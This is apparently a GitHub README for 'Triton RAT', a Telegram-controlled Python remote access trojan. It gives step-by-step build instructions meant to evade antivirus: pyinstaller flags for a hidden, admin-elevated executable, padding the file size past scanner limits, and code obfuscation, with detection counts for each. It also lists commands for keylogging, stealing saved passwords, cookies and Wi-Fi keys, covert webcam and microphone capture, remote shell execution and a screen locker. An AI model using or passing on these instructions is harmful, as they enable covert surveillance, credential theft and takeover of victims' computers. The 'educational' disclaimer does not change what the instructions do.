Skip to content

Latest commit

Β 

History

History
240 lines (179 loc) Β· 11.4 KB

README.md

File metadata and controls

240 lines (179 loc) Β· 11.4 KB

Triton_RAT

Triton_Remote_Administration_Tool

TRITON

Hi πŸ‘‹, I'm WhiteeRabbit

I wrote RAT in python that works with telegram!

The best rat that works with telegram!

This tool was created for educational purporses only! I'm not responding for your action!

🎯 About

With this tool you can control with YOUR pc remotly using telegram That you need only hand (2 optional) , exe file that you will get from pyinstaller and telegram account You can also build exe with builder. Triton RAT GUI Builder: Triton_RAT-gui

Let's get started!:

Download python!

python

Bot Password (when you entering /help or /start) : acd

🏁 Starting

# Register account in telegram
# Create bot with botfather


# Download this project
# In the old version of Rat we used a site for obfuscation and installed pyinstaller with github repo
# But antiviruses now detect it worse than installin pyinstaller via pip
# and Virustotal will show less detection than obfuscation
# But I wouldn't be me if i didn't find an obfuscation method
# There are still decetions , but at least we make fewer of them.

$ Download pyinstaller 5.13.0 or older versions: pip install pyinstaller==5.13.0
# if you downloaded pyinstaller from pip like pip install pyinstaller
# Delete that 

# also i'm recomending you to install and upgrade setuptools and pip
$ pip install --upgrade setuptools pip
# if you don't do this, problems may arise

# Download requiremets.txt
$ pip install -r requirements.txt

# change bot api in python file to your own bot
$ bot = telebot.TeleBot('your api token')

# !MAIN STEP! obfuscation will help to deceive antiviruses
$ For obfuscation we will use my python program which you can find at the link: https://github.com/WhiteeRabbit/fake_file_resizer
$ https://github.com/WhiteeRabbit/fake_file_resizer
$ You can also use websites for obfuscation, I wrote about it a little below⬇️
# We can increase the file size through this appalication so that antiviruses skip rat beacuse of size.
# For example if you write the size 620 mb , Antivirus Eset will skip that,and it will less detetct.
# Download fake_file_resizer, then run:
$ python fake_file_resizer.py
# Enter your exe, then enter output file name after that write output file size in mb(don't write mb).
# Without manipulations with fake_file_resizer (no obfuscated) it shows 11 detects in virustotal, but with my ip is shows only 4 detects
# Today this is the best method of obfuscation 
# If you want to obfuscate CODE that I'm recomending to you these 2 websites:
# First (6 detection):https://pyob.oxyry.com/ (use this after minifying the code ,because code's too long)
# Second (5 detection): https://python-minifier.com/
# These are the best method if you don't want to use fake_file_resizer
# Don't worry it detects by not popular antiviruses
# First, copy the full code of Triton_RAT_Release.py then paste it in second link
# After that, paste minified code in Triton_RAT_Release.py, then build it with pyinstaller⬇️

# After downloading pyinstaller run:
$ pyinstaller --onefile --noconsole --uac-admin --hidden-import telebot --hidden-import pyautogui --hidden-import cv2 --hidden-import json --hidden-import base64 --hidden-import sqlite3 --hidden-import win32crypt --hidden-import Cryptodome.Cipher.AES --hidden-import shutil --hidden-import datetime --hidden-import numpy --hidden-import pyaudio --hidden-import wave --hidden-import random --hidden-import browser_cookie3 --hidden-import pyttsx3 --hidden-import pynput Triton_Rat_Release.py

# Some people says that you can decrease detections count with adding --key "testname" attribute when building it with pyinstaller
# But, it didn't worked for me...


# wait for building exe
# !BOT PASSWORD IS: acd

$ run exe and bot started! 


You can also build exe with gui builder:

Triton RAT GUI Builder: Triton_RAT-gui

Thanks to jayjayQy42

If you want to avoid scanning some antiviruses you can make that⬇️

More online scanners and antiviruses also most popular online antivirus scanner virustotal's max allowed file size is 650 MB. Antiviruses, seeing the file size that it is large, will stupidly not check it! and you will be cool man.

I wrote a python app that will help you to change your file's size for ex: from 100 mb to 750 mb.

With help of this app you can make your file's size as you wanted!(it works on all systems)

23

You can use:

**πŸ› οΈ System Commands**
- βš™οΈ **/start** - Start the program
- βš™οΈ **/help** - Help with commands
- πŸ”Œ **/addstartup** - Add autostart
- πŸ“ **/filepath** - Shows the script's full path
- ⌨️ **/keylogger** - Start keylogger
- β›” **/stopkeylogger** - Stop keylogger
- πŸ‘Ÿ **/run [filepath]** - Run file
- πŸ§‘πŸ»β€πŸ’» **/users** - Show users on the PC
- πŸ–₯️ **/whoami** - Show the name of the PC
- πŸ“ƒ **/tasklist** - Show running tasks
- 🧨 **/taskkill [task]** - Kill the entered task
- πŸ’€ **/sleep** - Put the PC to sleep
- πŸ•š **/shutdown** - Shutdown the PC
- πŸ”„ **/restart** - Restart the PC
- πŸ’₯ **/altf4** - ALT + F4 (google it to find what it means)
- πŸ’£ **/cmdbomb** - Opens 10 CMD windows
- Ⓜ️ **/msg [type] [title] [text]** - Displays a messagebox
*/msg types(info; warning; error; question; default or 0)*
** for ex: /msg error testtitle testtext **

## **πŸ”’ Security & Privacy**
- πŸ”‘ **/passwords** - Show saved passwords on the PC
- πŸͺ **/robloxcookie** - Show Roblox cookies
- 🧱 **/wallpaper** - Change the desktop wallpaper
- πŸͺ¦ **/disabletaskmgr** - Disable Task Manager
- πŸ“  **/enabletaskmgr** - Enable Task Manager
- ☒️ **/winblocker** - My own winlocker
- ☣️ **/winblocker2** - If winblocker doesn't work

## **πŸ“± Device Management**
- πŸ“· **/screenshot** - Take a screenshot
- πŸŽ™οΈ **/mic [time in seconds]** - Record the PC's microphone
- πŸ“Ή **/webscreen** - Get a screenshot from the camera
- 🎦 **/webcam** - Get webcam video
- πŸŽ₯ **/screenrecord** - Record the screen
- 🚫 **/block** - Block user input (mouse and keyboard)
- βœ… **/unblock** - Unblock user input (mouse and keyboard)
- πŸ–±οΈ **/mousemesstart** - Start mouse messing
- 🐁 **/mousemesstop** - Stop mouse messing
- πŸͺ€ **/mousekill** - Disable the mouse
- 🐭 **/mousestop** - Enable the mouse
- πŸ–±οΈ **/mousemove [x] [y]** - Enter x and y cordinates and mouse's pointer goes there
- 🐁 **/mouseclick** - Make click with mouse
- πŸ”Š **/fullvolume** - Set volume to full
- πŸ”‰ **/volumeplus** - Increase volume by 10
- πŸ”‡ **/volumeminus** - Decrease volume by 10
- πŸ”„οΈ **/rotate** - Rotate monitor +90 degrees (for exmpl: entering 2 times rotates it 180 degrees)
- πŸͺŸ **/maximize** - Maximize active window
- πŸͺŸ **/minimize** - Minimize active window

## **🌐 Networking**
- πŸ›œ **/wifilist** - Show saved Wi-Fi networks
- πŸ” **/wifipass [accesspoint]** - Show the password of a saved Wi-Fi network
- 🌐 **/chrome [website URL]** - Open a website in Chrome
- 🌐 **/edge [website URL]** - Open a website in Edge
- 🌐 **/firefox [website URL]** - Open a website in Firefox

## **🎢 Multimedia**
- πŸ’¬πŸ‘‚πŸ» **/textspech [your text]** - Speak the text aloud
- 🎡 **/playsound [file path]** - Play a sound file (first upload the file using **/upload**)
- πŸ“ **/download [file path]** - Download a file from the PC
- πŸ—ƒοΈ **/upload** - Upload a file to the PC
- πŸ“‹ **/clipboard** - Show clipboard content
- πŸ“‡ **/changeclipboard [testcahnge]** - Change clipboard content

## **βš™οΈ Advanced Operations**
- πŸ—‘οΈ **/e [command]** - Execute shell commands (shortcut)
- 🏹 **/ex [command]** - Execute shell commands with long responses
- πŸ”« **/execute** - Execute shell commands my alternative of netcat in linux (works commands such as cd ,cd.. and etc...)
- *commands like cd ,cd .. and others work excellent in the /e ,  /ex and /execute commands.*
- πŸ“… **/metadata [filepath]** - Displays the file's metadata information
- ⌨️ **/keytype [key]** - Enter a text and that text will written with pc's keyboard
- ⌨️ **/keypress [key]** - Press a specific key on the keyboard
- ⌨️ **/keypresstwo [key1] [key2]** - Press two keys simultaneously
- ⌨️ **/keypressthree [key1] [key2] [key3]** - Press three keys simultaneously
- πŸ•ΆοΈ **/hide** - Hide your app
- πŸ‘“ **/unhide** - Unhide your app

## **πŸ–₯️ System Information**
- πŸͺͺ **/info** - Show PC information (IP, location, country, city)
- πŸ“Š **/pcinfo** - Info about PC's OS, system, CPU, Windows version, BIOS, etc...
- πŸ’» **/shortinfo** - Show's less but, mostly the necessary information about pc
- πŸ› οΈ **/apps** - Show installed apps on the PC
- πŸ”‹ **/batteryinfo** - Show info about battery 

## **EXAMPLES:**
- πŸ“– **/examples** - Shows examples

## **πŸ“±πŸ€³πŸ»My Socials:πŸŒπŸ“²**
- πŸ”— **/github** - [**My github**]

Antivirus check (with help of fake_file_resizer)πŸ™‚

Π‘Π½ΠΈΠΌΠΎΠΊ экрана (24)

Antivirus check (with help of second obfuscation(minifying) method (i wrote about that⬆️))

Π‘Π½ΠΈΠΌΠΎΠΊ экрана (26)

πŸ—οΈ Triton_Rat_Gui Builder (Huge thanks to jayjayQy42):

This man created builder for Triton rat, don't forget support him also!

Triton_Rat V2 update features:

  • New interface and desing
  • Added more than 10 new functions(also keylogger,metadata ,pc info and etc...)
  • Added: minimaze ,maximize ,rotate monitor ,metadata ,keylogger, block/unblock user input ,better information about pc (from bios to battery) and etc... ☺️
  • Fixed bugs

πŸ“ License

This project is licensed under the MIT License. For more details, please refer to the LICENSE file.

πŸ™πŸ» Thanks to everyone who supported this project with stars! Thank you all very much!